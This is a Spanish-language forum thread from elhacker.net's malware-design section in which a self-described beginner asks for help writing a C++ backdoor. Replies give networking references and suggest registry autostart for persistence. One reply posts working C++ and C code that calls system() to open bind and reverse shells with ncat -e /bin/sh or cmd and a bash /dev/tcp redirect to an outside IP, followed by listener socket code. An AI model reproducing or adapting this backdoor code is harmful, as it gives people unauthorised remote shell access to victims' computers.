Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: mby en 1 Junio 2020, 19:48 pm



Título: Necesito ayuda para una backdoor
Publicado por: mby en 1 Junio 2020, 19:48 pm
Antes de nada muy buenas a todos:

Realmente necesito ayuda, llevo varios meses intentando crear una backdoor en c++ pero no consigo entender nada (soy joven y empecé hace poco). No se si me podeís ayudar poniendo un pequeño código con comentarios o enlaces a paginas útiles.

Gracias a todos por la ayuda ;-)


Título: Re: Necesito ayuda para una backdoor
Publicado por: marax en 1 Junio 2020, 20:49 pm
https://tools.ietf.org/html/rfc793 (https://tools.ietf.org/html/rfc793)
https://tools.ietf.org/html/rfc791 (https://tools.ietf.org/html/rfc791)
http://es.tldp.org/Tutoriales/PROG-SOCKETS/prog-sockets.html (http://es.tldp.org/Tutoriales/PROG-SOCKETS/prog-sockets.html)

Un backdoor no es algo tan especifico para encontrar un ejemplo concreto, existen diversos. Lo mas popular es utilizarlos con alguna forma de reverse shell (o al menos intentarlo). Puedes encontrar uno que utiliza la libreria estandar de C++ en Youtube:

https://www.youtube.com/watch?v=Rrdp0AUWAbs (https://www.youtube.com/watch?v=Rrdp0AUWAbs)

Realmente el titulo esta equivocado. Segun la estructura del codigo no lo consideraria un troyano. Sin embargo con ello puedes entender la filosofia de una shell inversa (reverse shell).
Puedes utilizar incluso utilidades como Netcat para cumplir tu objetivo de backdoor, si haces un instalador para el registro de Windows podrias configurar un auto-arranque, por ejemplo.

No hagas de las definiciones un objetivo sino un medio para expresar tus objetivos... el caso no es saber como se hace un backdoor.

Saludos.


Título: Re: Necesito ayuda para una backdoor
Publicado por: mby en 2 Junio 2020, 13:10 pm
https://tools.ietf.org/html/rfc793 (https://tools.ietf.org/html/rfc793)
https://tools.ietf.org/html/rfc791 (https://tools.ietf.org/html/rfc791)
http://es.tldp.org/Tutoriales/PROG-SOCKETS/prog-sockets.html (http://es.tldp.org/Tutoriales/PROG-SOCKETS/prog-sockets.html)

Un backdoor no es algo tan especifico para encontrar un ejemplo concreto, existen diversos. Lo mas popular es utilizarlos con alguna forma de reverse shell (o al menos intentarlo). Puedes encontrar uno que utiliza la libreria estandar de C++ en Youtube:

https://www.youtube.com/watch?v=Rrdp0AUWAbs (https://www.youtube.com/watch?v=Rrdp0AUWAbs)

Realmente el titulo esta equivocado. Segun la estructura del codigo no lo consideraria un troyano. Sin embargo con ello puedes entender la filosofia de una shell inversa (reverse shell).
Puedes utilizar incluso utilidades como Netcat para cumplir tu objetivo de backdoor, si haces un instalador para el registro de Windows podrias configurar un auto-arranque, por ejemplo.

No hagas de las definiciones un objetivo sino un medio para expresar tus objetivos... el caso no es saber como se hace un backdoor.

Saludos.
Muchas gracias por la respuesta creo que me sera útil ;D


Título: Re: Necesito ayuda para una backdoor
Publicado por: @XSStringManolo en 2 Junio 2020, 14:34 pm
Necesitas 2 programas. Un cliente y un servidor. Puede ser conexión directa, el objetivo tiene los puertos abiertos. O conexión inversa, tu tienes los puertos abiertos. También se puede sin abrir puertos pero requiere de settup, proxy y tunelaje.

Puedes usar sockets o alguna librería/software como netcat o includo bash/batch, perl, php, etc. Facilita mucho.

Un ejemplo:
Código
  1. #include <string>
  2.  
  3. using namespace std;
  4.  
  5. #define PUERTO static_cast<string>("9090")
  6. #define IP static_cast<string>("127.0.0.1")
  7. #define REVERSE_IP static_cast<string>("93.184.216.34")
  8.  
  9. void BindShell(string);
  10.  
  11. int main() {
  12.  
  13. string comando = "";
  14.  
  15. #ifdef __linux__ /* LINUX */
  16. /* Bind Local Shell */
  17. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
  18.  
  19. /* Bind Remote Shell */
  20. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
  21.  
  22. /* Bind Remote Shell Bash */
  23. BindShell("bash -i >& /dev/tcp/" + REVERSE_IP + "/" + PUERTO + " 0>&1");
  24.  
  25.  
  26.  
  27. #else /* WINDOWS */
  28. /* Bind Local Shell */
  29. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
  30.  
  31. /* Bind Remote Shell */
  32. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
  33.  
  34. #endif
  35. return 0;
  36. }
  37.  
  38. void BindShell(string command) {
  39. system(command.c_str());
  40. }

O incluso puedes compilar esto en C con gcc sin libs ni nada:
Código
  1. int main() {
  2. system("ncat 127.0.0.1 9090 -e /bin/sh");
  3. return 0;
  4. }

Para sockets Linux usa <sys/socket.h> para funciones y
<netinet/in.h> para sockaddr_in.

Creas el socket (IPv4, TCP) y obtienes en retorno un file descriptor con:
Código
  1. int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2.  
  3. if (sockfd == -1) {
  4. std::cout << "Failed to create socket. Errno: " << errno << std::endl;
  5. exit(EXIT_FAILURE);
  6. }

exit y la constante están en <cstdlib> cout y endl en <iostream>

Después creas la dirección con sus propiedades obligadas, dirección IP, PUERTO y demás. Y bindeas el sockaddr al sockfd
Código
  1. sockaddr_in sockaddr;
  2. sockaddr.sin_family = AF_INET;
  3. sockaddr.sin_addr.s_addr = INADDR_ANY;
  4. sockaddr.sin_port = htons(9090);
  5.  
  6. if (bind(sockfd, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) < 0) {
  7. std::cout << "Failed to bind to port 9090. Errno: " << errno << std::endl;
  8. exit(EXIT_FAILURE);
  9. }

Te pones a la escucha en el socket con listen:
Código
  1. if (listen(sockfd, 10) < 0) {
  2. std::cout << "Failed to listen on socket. Errno: " << errno << std::endl;
  3. exit(EXIT_FAILURE);
  4. }

Obtienes una conexión de la cola:
Código
  1. auto addrlen = sizeof(sockaddr);
  2. int connection = accept(sockfd, (struct sockaddr*)&sockaddr, (socklen_t*)&addrlen);
  3.  
  4. if (connection < 0) {
  5. std::cout << "Failed to grab connection. Errno: " << errno << std::endl;
  6. exit(EXIT_FAILURE);
  7. }

Tras obtener la conexion lees los bytes de la misma:
Código
  1. char buffer[8192];
  2. auto bytesRead = read(connection, buffer, 8192);
  3. std::cout << "The message was: " << buffer;

Por último puedes recorrer el buffer buscando algo, send para responder, cerrar el sockfd o la conexión, o lo que veas. Esto ya entra dentro de lo que quieras hacer y de tu propia implementación.

Prácticamente todo código lo hice mirando por la docu oficial de <sys/socket.h>